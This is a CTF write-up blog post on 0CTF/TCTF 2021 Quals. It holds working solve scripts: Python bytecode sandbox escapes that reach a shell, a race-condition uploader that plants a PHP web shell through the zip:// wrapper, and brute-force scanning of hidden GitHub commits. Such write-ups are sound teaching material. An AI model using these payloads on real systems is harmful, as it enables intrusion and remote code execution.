0CTF 2021 Quals WriteUps

發表於
分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

This time I challenged the 0CTF/TCTF 2021 Quals alone, and my impression is that the problems were really difficult... I only solved 5 problems in total (including Welcome & Survey), ranking 63rd, but I learned a lot of new things, so I wrote them down for record.

Problems marked with * in the title are those I attempted but didn't solve successfully during the competition and solved only after it ended.

Misc

GutHib

This problem provided a GitHub repo: awesome-ctf/TCTF2021-Guthib, where you can see that it has a flag but it has been cleaned using BFG and force pushed.

If you have experience with doing the same thing as in the repo, you should know that even after cleaning and force pushing, you can still see the data by directly looking at the commit on GitHub. This is because GitHub's repo still has a cache, and to clear it, you need to contact customer support to help you do a garbage collection.

For more details, refer to this answer

So we know that the commit with the flag is still on GitHub, and as long as we know the commit hash, we can see the flag. There are two ways to do this.

Using the API's events

GitHub has an API that allows you to see the repo's events, for example:

https://api.github.com/repos/awesome-ctf/TCTF2021-Guthib/events?page=6

Among them, PushEvent allows you to see all the commit records, from which you can find the target commit hash. So the final target is da883505ed6754f328296cac1ddb203593473967.

Brute force

This is the method I used because I didn't know about the events API, so I did it this way, which is (somewhat) an unintended solution.

You can notice that GitHub's commit hash can be accessed with as few as 4 characters:

So the method is very simple, brute force all 4-character hexdigits possibilities, a total of 164=6553616^4=65536 possibilities.

I first used this script to generate a wordlist:

from random import shuffle
from itertools import product

l = list(product("0123456789abcdef", repeat=4))
shuffle(l)
for a, b, c, d in l:
    print(a + b + c + d)

# python gen.py > urllist.txt
# feroxbuster -u https://github.com/awesome-ctf/TCTF2021-Guthib/commit/ -w urllist.txt --rate-limit 16

# https://github.com/awesome-ctf/TCTF2021-Guthib/commit/da88

Then used feroxbuster to brute force scan and found it.

Remember to set the rate limit, otherwise, you will quickly get HTTP 429

*pypypypy

This problem is a very special pyjail problem where the user provides bytecode (codestring) and two additional inputs gift1 and gift2. The requirements are len(codestring) <= 2000 and len(gift1) <= 10 len(gift2) <= 10.

Version: Python 3.8.11

Some reference materials about bytecode:

The core part of the problem is:

code = CodeType(0, 0, 0, 0, 0, 0, codestring, (), (f'__{gift1}__', f'__{gift2}__'), (), '', '', 0, b'')
result = eval(code, {'__builtins__': None}, {})

First, because co_consts is empty, all kinds of constants can only be generated from scratch. And co_names gives you two opportunities to use __xx__ format.

First is how to generate numbers. My method is to use BUILD_TUPLE 0 and UNARY_NOT to get True, and then use some addition to get the desired number. For example, the result of the following is the number 2:

BUILD_TUPLE 0
UNARY_NOT
DUP_TOP
BINARY_ADD

Using this method, you can recursively write a function to generate the required bytecode:

def gen_num(n):
    # push number n into stack
    one = bytes([opmap["BUILD_TUPLE"], 0, opmap["UNARY_NOT"], 0])
    if n == 0:
        return bytes([*one, *one, opmap["BINARY_SUBTRACT"], 0])
    if n == 1:
        return one
    half = gen_num(n // 2)
    ret = half + bytes([opmap["DUP_TOP"], 0, opmap["BINARY_ADD"], 0])
    if n % 2 == 1:
        ret += one + bytes([opmap["BINARY_ADD"], 0])
    return ret

The next goal is to generate strings. Here, I used FORMAT_VALUE 4, which is equivalent to format(TOS, TOS1). If TOS1 = 'c' and TOP is a number, you can use the ASCII code to generate a string. So now the problem is how to generate the string 'c'.

Here, I first used BUILD_SLICE to generate slice(x, y, z), and then used FORMAT_VALUE 0 to turn it into a string, and then used BINARY_SUBSCR to get the third character 'c'.

def gen_c():
    return bytes(
        [
            opmap["BUILD_TUPLE"],
            0,
            opmap["BUILD_TUPLE"],
            0,
            opmap["BUILD_SLICE"],
            2,
            opmap["FORMAT_VALUE"],
            0,
            # ['slice((), (), None)']
            opmap["BUILD_TUPLE"],
            0,
            opmap["UNARY_NOT"],
            0,
            opmap["DUP_TOP"],
            0,
            opmap["DUP_TOP"],
            0,
            opmap["BINARY_ADD"],
            0,
            opmap["BINARY_ADD"],
            0,
            # ['slice((), (), None)', 3]
            opmap["BINARY_SUBSCR"],
            0,
            # ['c']
        ]
    )

Once you have 'c', generating any character is very simple, and generating any string can be written recursively in the same way.

def gen_str(s):
    # assuming stack top is 'c'
    if len(s) == 1:
        return bytes(
            [
                *gen_num(ord(s[0])),
                opmap["ROT_TWO"],
                0,
                opmap["FORMAT_VALUE"],
                4,
            ]
        )
    return bytes(
        [
            opmap["DUP_TOP"],
            0,
            *gen_str(s[:-1]),
            # ['c', s[:-1]]
            opmap["ROT_TWO"],
            0,
            *gen_num(ord(s[-1])),
            opmap["ROT_TWO"],
            0,
            opmap["FORMAT_VALUE"],
            4,
            # [s[:-1], s[-1]]
            opmap["BUILD_STRING"],
            2,
        ]
    )

def gen_str_wrap(s):
    return gen_c() + gen_str(s)

At this point, you can easily generate strings. The next step is how to bypass __builtins__ = None. The traditional way to bypass this is to use ().__class__.__base__ to get object, and then use object.__subclasses__()[n]... to get what you need. The difficulty is that co_names only has two, so you can't use it directly.

Before the competition ended, I managed to create a payload with codestring and gift1 both exceeding the length limit, which could execute sh. It used __getattribute__ and __base__, and after a long series of operations, it could get the result. You can see the details yourself, the comments inside mark the stack status.

import sys
from pathlib import Path
from types import CodeType
import dis
from opcode import opmap


def dump_code(code):
    print(
        code.co_argcount,
        code.co_posonlyargcount,
        code.co_kwonlyargcount,
        code.co_nlocals,
        code.co_stacksize,
        code.co_flags,
        code.co_code,
        code.co_consts,
        code.co_names,
        code.co_varnames,
        code.co_filename,
        code.co_name,
        code.co_firstlineno,
        code.co_lnotab,
        code.co_freevars,
        code.co_cellvars,
    )


def gen_num_op(n):
    # push number n into stack
    one = bytes([opmap["BUILD_TUPLE"], 0, opmap["UNARY_NOT"], 0])
    if n == 1:
        return one
    half = gen_num_op(n // 2)
    ret = half + bytes([opmap["DUP_TOP"], 0, opmap["BINARY_ADD"], 0])
    if n % 2 == 1:
        ret += one + bytes([opmap["BINARY_ADD"], 0])
    return ret


def gen_str(s):
    # assuming stack top is 'c'
    assert len(s) > 0
    if len(s) == 1:
        return bytes(
            [
                *gen_num_op(ord(s[0])),
                opmap["ROT_TWO"],
                0,
                opmap["FORMAT_VALUE"],
                4,
            ]
        )
    return bytes(
        [
            opmap["DUP_TOP"],
            0,
            *gen_str(s[:-1]),
            # ['c', s[:-1]]
            opmap["ROT_TWO"],
            0,
            *gen_num_op(ord(s[-1])),
            opmap["ROT_TWO"],
            0,
            opmap["FORMAT_VALUE"],
            4,
            # [s[:-1], s[-1]]
            opmap["BUILD_STRING"],
            2,
        ]
    )


code = bytes(
    [
        opmap["BUILD_TUPLE"],
        0,
        opmap["BUILD_TUPLE"],
        0,
        opmap["BUILD_SLICE"],
        2,
        opmap["FORMAT_VALUE"],
        0,
        # ['slice((), (), None)']
        opmap["BUILD_TUPLE"],
        0,
        opmap["UNARY_NOT"],
        0,
        opmap["DUP_TOP"],
        0,
        opmap["DUP_TOP"],
        0,
        opmap["BINARY_ADD"],
        0,
        opmap["BINARY_ADD"],
        0,
        # ['slice((), (), None)', 3]
        opmap["BINARY_SUBSCR"],
        0,
        # ['c']
        opmap["DUP_TOP"],
        0,
        opmap["DUP_TOP"],
        0,
        opmap["DUP_TOP"],
        0,
        opmap["DUP_TOP"],
        0,
        opmap["DUP_TOP"],
        0,
        opmap["DUP_TOP"],
        0,
        opmap["DUP_TOP"],
        0,
        *gen_str("__class__"),
        # [..., 'c', '__class__']
        opmap["BUILD_TUPLE"],
        0,
        opmap["LOAD_ATTR"],
        0,
        opmap["ROT_TWO"],
        0,
        # [..., 'c', tuple.__getattribute__, '__class__']
        opmap["CALL_FUNCTION"],
        1,
        # [..., 'c', tuple]
        opmap["LOAD_ATTR"],
        1,
        opmap["DUP_TOP"],
        1,
        # [..., 'c', object, object]
        opmap["LOAD_ATTR"],
        0,
        # [..., 'c', object, object.__getattribute__]
        opmap["ROT_THREE"],
        0,
        # [..., object.__getattribute__, 'c', object]
        opmap["ROT_TWO"],
        0,
        # [..., object.__getattribute__, object, 'c']
        *gen_str("__subclasses__"),
        # [..., object.__getattribute__, object, '__subclasses__']
        opmap["CALL_FUNCTION"],
        2,
        # [..., object.__subclasses__]
        opmap["CALL_FUNCTION"],
        0,
        # [..., object.__subclasses__()]
        *gen_num_op(189),
        opmap["BINARY_SUBSCR"],
        0,
        # [..., _Flavour]
        opmap["DUP_TOP"],
        1,
        opmap["LOAD_ATTR"],
        0,
        # [..., 'c', _Flavour, _Flavour.__getattribute__]
        opmap["ROT_THREE"],
        0,
        opmap["ROT_TWO"],
        0,
        *gen_str("__init__"),
        opmap["CALL_FUNCTION"],
        2,
        # # [..., _Flavour.__init__]
        opmap["LOAD_ATTR"],
        0,
        opmap["ROT_TWO"],
        0,
        *gen_str("__globals__"),
        opmap["CALL_FUNCTION"],
        1,
        # [..., _ModuleLock.__init__.__globals__]
        opmap["ROT_TWO"],
        0,
        *gen_str("os"),
        opmap["BINARY_SUBSCR"],
        0,
        # # [..., os]
        opmap["LOAD_ATTR"],
        0,
        opmap["ROT_TWO"],
        0,
        *gen_str("__dict__"),
        opmap["CALL_FUNCTION"],
        1,
        # [..., os.__dict__]
        opmap["ROT_TWO"],
        0,
        *gen_str("system"),
        opmap["BINARY_SUBSCR"],
        0,
        # [..., os.system]
        opmap["ROT_TWO"],
        0,
        *gen_str("sh"),
        opmap["CALL_FUNCTION"],
        1,
        opmap["RETURN_VALUE"],
        0,
    ]
)
gift1 = "getattribute"
gift2 = "base"
# fmt: off
code = CodeType(0, 0, 0, 0, 0, 0, code, (), (f'__{gift1}__', f'__{gift2}__'), (), '', '', 0, b'')
# fmt: on
# dump_code(code)
# dis.dis(code)
print(len(code.co_code))
ret = eval(code, {"__builtins__": None}, {})
# print(type(ret))
print(ret)
print("ok")

The string generation method here is slightly different because this was written earlier

After the competition, the problem author summarized the types of solutions, and there were 5 in total:

  1. The most commonly used method: combining __class__ and __dict__ to get type, and then using mro (or similar) combined with __getattribute__ to get object, so you can have object.__dict__['__getattribute__'], which allows you to do everything. (Usage is similar to getattr)
  2. Unintended solution 1: [].__reduce_ex__(3)[0].__globals__
  3. Unintended solution 2: co_consts is an empty tuple, you can use LOAD_CONST to cause an out-of-bounds access to get the object you want, including module 'posix'. The offset can be calculated using id(something) - id(()), but I couldn't reproduce this payload.
  4. Unintended solution 3: Although co_names is not empty, its offset is still fixed, so you can find the appropriate offset to leak things.
  5. Author's solution: Trigger an exception, and then TOS will have the exception's class. From its __mro__, you can get object, and then the rest is the same.

There is another solution I saw, where directly using LOAD_CONST 6 (out-of-bounds) at the beginning of the bytecode can directly get object, and I don't know why...

Using __class__ and __dict__

This part doesn't need to use the string generation functions, so the payload is very short. To be lazy, I also directly used LOAD_CONST 6 to directly get object. Normally, you need to get __getattribute__ and __base__ from type.__dict__ to get object.

from types import CodeType
from opcode import opmap


def op(name, arg=0):
    return bytes([opmap[name], arg])


def get_type_dict():
    return (
        op("BUILD_TUPLE", 0)
        + op("LOAD_ATTR", 0)
        + op("LOAD_ATTR", 0)
        + op("LOAD_ATTR", 1)
    )


def get_nth(n):
    return (
        op("UNPACK_EX", n)
        + op("BUILD_TUPLE", n - 1)
        + op("POP_TOP")
        + op("ROT_TWO")
        + op("POP_TOP")  # pop iterable list
    )


code = (
    get_type_dict()
    + get_nth(3)
    # ['__getattribute__']
    + op("LOAD_CONST", 6)
    + op("LOAD_ATTR", 1)
    # ['__getattribute__', object.__dict__]
    + op("ROT_TWO")
    + op("BINARY_SUBSCR")
    # [object.__getattribute__]
    + op("STORE_NAME", 0)  # __class__ = object.__getattribute__
    + op("LOAD_NAME", 0)  # object.__getattribute__
    + op("LOAD_CONST", 6)
    + get_type_dict()
    + get_nth(9)
    + op("CALL_FUNCTION", 2)
    + op("CALL_FUNCTION", 0)
    # [object.__subclasses__()]
    + get_nth(133)  # remote = 134, local = 133
    # [os._wrap_close]
    + op("LOAD_ATTR", 1)
    + op("DUP_TOP")
    + get_nth(2)
    + op("BINARY_SUBSCR")
    # [os._wrap_close.__init__]
    + op("LOAD_NAME", 0)  # object.__getattribute__
    + op("ROT_TWO")
    + op("DUP_TOP")
    + op("LOAD_ATTR", 0)
    + op("LOAD_ATTR", 1)
    # [object.__getattribute__, os._wrap_close.__init__, function.__dict__]
    + get_nth(7)
    + op("CALL_FUNCTION", 2)
    # [__globals__]
    + op("DUP_TOP")
    + get_nth(8)
    + op("DUP_TOP")
    + op("STORE_NAME", 0)  # __class__ = '__builtins__'
    + op("BINARY_SUBSCR")
    # [__builtins__]
    + op("DUP_TOP")
    + op("STORE_NAME", 1)  # __dict__ = __builtins__
    + op("DUP_TOP")
    + get_nth(20)
    + op("BINARY_SUBSCR")
    # [eval]
    + op("LOAD_NAME", 1)  # __builtins__
    + op("DUP_TOP")
    + get_nth(29)
    + op("BINARY_SUBSCR")
    # [eval, input]
    + op("CALL_FUNCTION", 0)
    # [eval, input()]
    + op("LOAD_NAME", 0)  # '__builtins__'
    + op("LOAD_NAME", 1)  # __builtins__
    + op("BUILD_MAP", 1)
    # [eval, input(), {'__builtins__': __builtins__}]
    + op("CALL_FUNCTION", 2)
    + op("RETURN_VALUE")
)

print(len(code))
print(code.hex())

gift1 = "class"
gift2 = "dict"
# fmt: off
code = CodeType(0, 0, 0, 0, 0, 0, code, (), (f'__{gift1}__', f'__{gift2}__'), (), '', '', 0, b'')
# fmt: on
ret = eval(code, {"__builtins__": None}, {})
print("type", type(ret))
print("ret", ret)

Using [].__reduce_ex__(3)[0].__globals__

__reduce_ex__ is similar to pickling's __reduce__, but it supports an additional protocol parameter as the pickle version number. The first value of the returned tuple is a function, and its __globals__ can directly get eval, input, and other things.

import pathlib # No use, but it MUST exist
from types import CodeType
from opcode import opmap


def dump_code(code):
    print(
        code.co_argcount,
        code.co_posonlyargcount,
        code.co_kwonlyargcount,
        code.co_nlocals,
        code.co_stacksize,
        code.co_flags,
        code.co_code,
        code.co_consts,
        code.co_names,
        code.co_varnames,
        code.co_filename,
        code.co_name,
        code.co_firstlineno,
        code.co_lnotab,
        code.co_freevars,
        code.co_cellvars,
    )


def gen_num(n):
    # push number n into stack
    one = bytes([opmap["BUILD_TUPLE"], 0, opmap["UNARY_NOT"], 0])
    if n == 0:
        return bytes([*one, *one, opmap["BINARY_SUBTRACT"], 0])
    if n == 1:
        return one
    half = gen_num(n // 2)
    ret = half + bytes([opmap["DUP_TOP"], 0, opmap["BINARY_ADD"], 0])
    if n % 2 == 1:
        ret += one + bytes([opmap["BINARY_ADD"], 0])
    return ret


def gen_str(s):
    # assuming stack top is 'c'
    if len(s) == 1:
        return bytes(
            [
                *gen_num(ord(s[0])),
                opmap["ROT_TWO"],
                0,
                opmap["FORMAT_VALUE"],
                4,
            ]
        )
    return bytes(
        [
            opmap["DUP_TOP"],
            0,
            *gen_str(s[:-1]),
            # ['c', s[:-1]]
            opmap["ROT_TWO"],
            0,
            *gen_num(ord(s[-1])),
            opmap["ROT_TWO"],
            0,
            opmap["FORMAT_VALUE"],
            4,
            # [s[:-1], s[-1]]
            opmap["BUILD_STRING"],
            2,
        ]
    )


def gen_c():
    return bytes(
        [
            opmap["BUILD_TUPLE"],
            0,
            opmap["BUILD_TUPLE"],
            0,
            opmap["BUILD_SLICE"],
            2,
            opmap["FORMAT_VALUE"],
            0,
            # ['slice((), (), None)']
            opmap["BUILD_TUPLE"],
            0,
            opmap["UNARY_NOT"],
            0,
            opmap["DUP_TOP"],
            0,
            opmap["DUP_TOP"],
            0,
            opmap["BINARY_ADD"],
            0,
            opmap["BINARY_ADD"],
            0,
            # ['slice((), (), None)', 3]
            opmap["BINARY_SUBSCR"],
            0,
            # ['c']
        ]
    )


def gen_str_wrap(s):
    return gen_c() + gen_str(s)

# [].__reduce_ex__(3)[0].__globals__

code = bytes(
    [
        opmap["BUILD_LIST"],
        0,
        opmap["LOAD_ATTR"],
        0,
        *gen_num(3),
        opmap["CALL_FUNCTION"],
        1,
        *gen_num(0),
        opmap["BINARY_SUBSCR"],
        1,
        opmap["LOAD_ATTR"],
        1,
        *gen_str_wrap("__builtins__"),
        # Cache __builtins__
        opmap["DUP_TOP"],
        1,
        opmap["STORE_NAME"],
        0,
        opmap["BINARY_SUBSCR"],
        1,
        opmap["DUP_TOP"],
        1,
        opmap["DUP_TOP"],
        1,
        # [__builtins__, __builtins__, __builtins__]
        *gen_str_wrap("input"),
        opmap["BINARY_SUBSCR"],
        1,
        opmap["CALL_FUNCTION"],
        0,
        # [__builtins__, __builtins__, input()]
        opmap["ROT_TWO"],
        0,
        # [__builtins__, input(), __builtins__]
        *gen_str_wrap("eval"),
        opmap["BINARY_SUBSCR"],
        1,
        # [__builtins__, input(), eval]
        opmap["ROT_THREE"],
        0,
        # [eval, __builtins__, input()]
        opmap["ROT_TWO"],
        0,
        # [eval, input(), __builtins__]
        # Load cached '__builtins__'
        opmap["LOAD_NAME"],
        0,
        opmap["ROT_TWO"],
        0,
        opmap["BUILD_MAP"],
        1,
        # [eval, input(), {'__builtins__': __builtins__}]
        opmap["CALL_FUNCTION"],
        2,
        opmap["RETURN_VALUE"],
        0,
    ]
)
gift1 = "reduce_ex"
gift2 = "globals"
# fmt: off
code = CodeType(0, 0, 0, 0, 0, 0, code, (), (f'__{gift1}__', f'__{gift2}__'), (), '', '', 0, b'')
# fmt: on
print(len(code.co_code))
ret = eval(code, {"__builtins__": None}, {})
print("ret", ret)
print("ok")
print(code.co_code.hex())

You can see import pathlib at the top, but it's not used in the entire script. However, if you remove it, it will strangely fail. I asked around, and others said it's because [].__reduce_ex__ relies on the existence of pickle. If pickle is not in sys.modules, it will try to __import__, but because eval restricts __builtins__, it will fail. And pathlib seems to import pickle internally, so it can bypass this issue.

Another solution that doesn't work remotely

object.__subclasses__() contains _sitebuiltins._Helper, and since _sitebuiltins._Helper() = help, _sitebuiltins._Helper()() can have the effect of help().

In the help interface, entering any entry, such as str, will display information, and it will detect if there is a tty. If there is, it will try to call less or more as a pager. In less or more, you can execute commands using !ls.

However, the problem with this solution is that it requires a tty. Since this problem is directly connected via nc, it doesn't have a tty, so it won't call less or more. But it works locally.

from types import CodeType
from opcode import opmap


def dump_code(code):
    print(
        code.co_argcount,
        code.co_posonlyargcount,
        code.co_kwonlyargcount,
        code.co_nlocals,
        code.co_stacksize,
        code.co_flags,
        code.co_code,
        code.co_consts,
        code.co_names,
        code.co_varnames,
        code.co_filename,
        code.co_name,
        code.co_firstlineno,
        code.co_lnotab,
        code.co_freevars,
        code.co_cellvars,
    )


def gen_num(n):
    # push number n into stack
    one = bytes([opmap["BUILD_TUPLE"], 0, opmap["UNARY_NOT"], 0])
    if n == 0:
        return bytes([*one, *one, opmap["BINARY_SUBTRACT"], 0])
    if n == 1:
        return one
    half = gen_num(n // 2)
    ret = half + bytes([opmap["DUP_TOP"], 0, opmap["BINARY_ADD"], 0])
    if n % 2 == 1:
        ret += one + bytes([opmap["BINARY_ADD"], 0])
    return ret


def gen_str(s):
    # assuming stack top is 'c'
    if len(s) == 1:
        return bytes(
            [
                *gen_num(ord(s[0])),
                opmap["ROT_TWO"],
                0,
                opmap["FORMAT_VALUE"],
                4,
            ]
        )
    return bytes(
        [
            opmap["DUP_TOP"],
            0,
            *gen_str(s[:-1]),
            # ['c', s[:-1]]
            opmap["ROT_TWO"],
            0,
            *gen_num(ord(s[-1])),
            opmap["ROT_TWO"],
            0,
            opmap["FORMAT_VALUE"],
            4,
            # [s[:-1], s[-1]]
            opmap["BUILD_STRING"],
            2,
        ]
    )


def gen_c():
    return bytes(
        [
            opmap["BUILD_TUPLE"],
            0,
            opmap["BUILD_TUPLE"],
            0,
            opmap["BUILD_SLICE"],
            2,
            opmap["FORMAT_VALUE"],
            0,
            # ['slice((), (), None)']
            opmap["BUILD_TUPLE"],
            0,
            opmap["UNARY_NOT"],
            0,
            opmap["DUP_TOP"],
            0,
            opmap["DUP_TOP"],
            0,
            opmap["BINARY_ADD"],
            0,
            opmap["BINARY_ADD"],
            0,
            # ['slice((), (), None)', 3]
            opmap["BINARY_SUBSCR"],
            0,
            # ['c']
        ]
    )


def gen_str_wrap(s):
    return gen_c() + gen_str(s)


code = bytes(
    [
        opmap["LOAD_CONST"],
        6,
        opmap["LOAD_ATTR"],
        0,
        opmap["CALL_FUNCTION"],
        0,
        *gen_num(135),  # remote = 136, local = 135
        opmap["BINARY_SUBSCR"],
        0,
        opmap["CALL_FUNCTION"],
        0,
        opmap["CALL_FUNCTION"],
        0,
        opmap["RETURN_VALUE"],
        0,
    ]
)
print(code.hex())

gift1 = "subclasses"
gift2 = "globals"
# fmt: off
code = CodeType(0, 0, 0, 0, 0, 0, code, (), (f'__{gift1}__', f'__{gift2}__'), (), '', '', 0, b'')
# fmt: on
print(len(code.co_code))
ret = eval(code, {"__builtins__": None}, {})
print("ret", ret)
print("ok")

Crypto

checkin

The problem is very simple, requiring you to calculate a value of 22emodm2^{2^e}\mod{m} within 10 seconds.

The mm is a very large composite number that cannot be factored, so you can't simplify the exponent to 2emodφ(m)2^e\mod{\varphi(m)} for calculation.

The fastest way is to directly use gmpy2, which is much faster than Python's built-in pow, and can calculate the result in about 5 seconds.

from pwn import remote
import gmpy2

io = remote("111.186.59.11", 16256)
io.recvline()
s = io.recvlineS()
e = int(s.split("^")[2].split(")")[0])
m = int(s.split(" mod ")[1].split(" = ")[0])
print(s)
print(e)
print(m)
ans = gmpy2.powmod(2, 1 << e, m)
print(ans)
io.sendline(str(ans))
io.interactive()

I actually got the first blood on this problem ==

zerolfsr-

There are three different LFSRs, and you need to select two generators within the time limit to find their initial state to get the flag.

My method for this problem was very simple, just using z3 to solve it. I chose Generators 1 and 3 because 2 looked much more complicated, and z3 couldn't solve it.

from z3 import *
from pwn import remote
import string
from hashlib import sha256
from itertools import product
import signal
from task import Generator1, Generator2, Generator3

io = remote("111.186.59.28", 31337)


def solve_pow():
    io.recvuntil(b"sha256(XXXX + ")
    suffix = io.recvuntil(b")")[:-1]
    io.recvuntil(b" == ")
    target = bytes.fromhex(io.recvlineS(b"\n").strip())
    S = (string.ascii_letters + string.digits + "!#$%&*-?").encode()
    for x in product(S, repeat=4):
        xx = bytes(x)
        if sha256(xx + suffix).digest() == target:
            io.sendlineafter(b"Give me XXXX:", xx)
            return


def solve1():
    io.recvuntil(b"which one: \n")
    io.sendline("1")
    io.recvuntil(b"start:::")
    data = io.recvuntil(b":::end")[:-6]
    bits = list(map(int, "".join([f"{x:08b}" for x in data])))
    print(len(bits))
    keys = [BitVec(f"b_{i}", 1) for i in range(64)]
    s = Solver()
    g = Generator1(keys)
    for i in range(128):
        s.add(g.clock() == bits[i])
    print("Solving generator 1...")
    print(s.check())
    m = s.model()
    keys = [m[k].as_long() for k in keys]
    msk = int("".join(map(str, keys)), 2)
    io.sendlineafter(b"k: ", str(msk))


def solve2():
    io.recvuntil(b"which one: \n")
    io.sendline("2")
    io.recvuntil(b"start:::")
    data = io.recvuntil(b":::end")[:-6]
    bits = list(map(int, "".join([f"{x:08b}" for x in data])))
    print(len(bits))
    keys = [BitVec(f"b_{i}", 1) for i in range(64)]
    s = Solver()
    g = Generator2(keys)
    for i in range(64):
        g.clock()
        s.add(g.clock() == bits[i])
    print("Solving generator 2...")
    print(s.check())
    m = s.model()
    keys = [m[k].as_long() for k in keys]
    msk = int("".join(map(str, keys)), 2)
    io.sendlineafter(b"k: ", str(msk))


def solve3():
    io.recvuntil(b"which one: \n")
    io.sendline("3")
    io.recvuntil(b"start:::")
    data = io.recvuntil(b":::end")[:-6]
    bits = list(map(int, "".join([f"{x:08b}" for x in data])))
    print(len(bits))
    keys = [BitVec(f"b_{i}", 1) for i in range(64)]
    s = Solver()
    g = Generator3(keys)
    for i in range(128):
        g.clock()
        g.clock()
        s.add(g.clock() == bits[i])
    print("Solving generator 3...")
    print(s.check())
    m = s.model()
    keys = [m[k].as_long() for k in keys]
    msk = int("".join(map(str, keys)), 2)
    io.sendlineafter(b"k: ", str(msk))


signal.alarm(30)
solve_pow()
signal.alarm(50)
solve1()
# solve2()
solve3()
io.interactive()

The flag content mentioned that the author had tried to prevent it from being solvable by z3, but it seems the prevention measures were not very effective...

Web

*1linephp

The code is just one line:

<?php
($_=@$_GET['yxxx'].'.php') && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.html');

If you are familiar, you will know that this problem pays homage to the One Line PHP Challenge, with the only difference being that the original problem didn't have the .php suffix. If you are not familiar, you should read its approach first.

The original problem's approach was to leave a file in the sessions folder using PHPSESSID and PHP_SESSION_UPLOAD_PROGRESS, and then use php://filter to perform some decode operations to make the file's prefix become @<?php, and then get a shell.

For example:

curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=maple' -F 'PHP_SESSION_UPLOAD_PROGRESS=CONTENT' -F 'file=@some_file'

will temporarily write upload_progress_CONTENT|... data in /tmp/sess_maple.

However, because PHPSESSID cannot contain ., you can't write files like sess_maple.php.

There are several ways to bypass the suffix, but since this problem is php 7.4.11, truncating with a long path (4096) or null byte (%00) is ineffective.

The remaining methods are phar:///tmp/asd.phar/shell.php or zip:///tmp/asd.zip#shell.php, both of which can read the file.

The problem with the former is that when php processes the php:// path, it looks for the suffix to split, for example, in phar:///tmp/asd.phar/shell.php, /tmp/asd.phar is the path of the phar file, and shell.php is the file path inside the phar. The suffix can be .phar or .png, etc., and php will accept it, but there must be a suffix, so it can't be used in this problem.

The latter zip:// uses # to separate, so there is no suffix issue, and as long as you provide a valid zip file, it can be decompressed. However, the problem is that the sess_xxx file will have the annoying upload_progress_ at the beginning.

My first thought was to use base64 and php://filter to handle it, but zip://php://filter/... doesn't work. From the source code, you can see it directly puts the path into libzip's zip_open function without going through php processing, so php://filter can't be used.

I got stuck here during the competition because I didn't know how to handle the zip header...

The key to this problem is that zip is a very loose file format, and the file's first bytes don't necessarily have to be PK, as zip decompression seems to look from the back, as long as the length is correct.

A very simple method is to first create shell.php with the required code, then compress it into out.zip, and then replace the first 16 bytes with upload_progress_, and you will find it can still be decompressed normally.

According to the author's WriteUp, directly deleting 16 bytes is not intended. The correct method is to fix the offset yourself or use zip -F to repair it like Perfect Blue: (printf upload_progress_ && cat file.zip) > out.zip; zip -F out.zip --out fixed.zip

So the method is to just put zip_data[16:] in PHP_SESSION_UPLOAD_PROGRESS, and for the short file existence time, use a race condition to try.

Finally, visit ?yyyx=zip:///tmp/sess_maple%23shell&cmd=ls.

import string
import random
import os
import requests


with open("a", "w") as f:
    # Write a big file
    f.write(
        "".join([random.choice(string.ascii_lowercase) for i in range(1024 * 1024)])
    )

with open("shell.php", "w") as f:
    f.write('@<?php\nsystem($_GET["cmd"]);')

os.system("zip payload.zip shell.php")

with open("payload.zip", "rb") as f:
    zip = f.read()


while True:
    f = open("a", "rb")
    requests.post(
        "http://111.186.59.2:50081/",
        cookies={"PHPSESSID": "maple"},
        data={"PHP_SESSION_UPLOAD_PROGRESS": zip[16:]},
        files={"f": f},
    )
    f.close()

# http://111.186.59.2:50081/?yxxx=zip:///tmp/sess_maple%23shell&cmd=cat%20/dd810fc36330c200a_flag/flag

zip:// is not always available, and you need to install the zip extension separately

A theoretically successful but low-probability different approach

During the competition, I also referred to Return of One line PHP, where session.upload_progress.enabled = Off, so there were no sess_xxx files.

The method used there was to put the payload in the uploaded file and then use a php bug to make it segfault, so the uploaded temporary file phpXXXXXX would remain in the folder.

However, this problem's php version is newer, so you can't use that bug to force the file to remain. Here, I manually controlled the request sending time with a socket, making it slow to finish, so the file would stay longer, increasing the chance of success.

The script to manually control the request time with a socket:

from pwn import remote, context, sleep
import string
import random
from threading import Thread


def randstr(n):
    return "".join(random.choice(string.ascii_lowercase) for _ in range(n))


with open("payload.zip", "rb") as f:
    zip = f.read()


def zip_data(name):
    return (
        f"""--------------------------606f6c40cdbf678a\r
Content-Disposition: form-data; name="file"; filename="{name}"\r
Content-Type: application/octet-stream\r
\r
""".encode()
        + zip
        + b"\r\n"
    )


body = (
    b"""--------------------------606f6c40cdbf678a\r
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r
\r
"""
    + zip
    + b"""\r
"""
    + b"".join([zip_data(randstr(10)) for i in range(40)])
    + b"""
--------------------------606f6c40cdbf678a\r
Content-Disposition: form-data; name="b"\r
\r
"""
    + b"a" * 1024
    + b"""\r
--------------------------606f6c40cdbf678a--\r
"""
)
header = f"""POST / HTTP/1.1\r
Host: 111.186.59.2:50082\r
User-Agent: curl/7.71.1\r
Accept: */*\r
Cookie: PHPSESSID=c8763fast\r
Content-Length: {len(body)}\r
Content-Type: multipart/form-data; boundary=------------------------606f6c40cdbf678a\r
\r
"""

print(hex(len(header)))
print(hex(len(body)))

CHKSIZE = 16
chunks = [body[i : i + CHKSIZE] for i in range(0, len(body), CHKSIZE)]
# print([len(x) for x in chunks])


def brute():
    context.log_level = "error"
    try:
        # io = remote("127.0.0.1", 8763)
        io = remote("111.186.59.2", 50082)
        io.send(header)
        for x in chunks[:-4]:
            io.send(x)
        for x in chunks[-4:]:
            sleep(5)
            io.send(x)
        io.close()
    except:
        pass


for i in range(100):
    Thread(target=brute).start()

The script to brute force search:

const xf = require('xfetch-js')
const { default: PQueue } = require('p-queue')

const CMD = 'ls;cat f*;cat /f*'

function makeid(length) {
	var result = ''
	var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
	var charactersLength = characters.length
	for (var i = 0; i < length; i++) {
		result += characters.charAt(Math.floor(Math.random() * charactersLength))
	}
	return result
}

const getRandToken = () => 'php' + makeid(6)

const request = token =>
	xf
		.get(`http://111.186.59.2:50082/?yxxx=zip:///tmp/${token}%23shell&cmd=${encodeURIComponent(CMD)}`)
		.then(r => r.text())
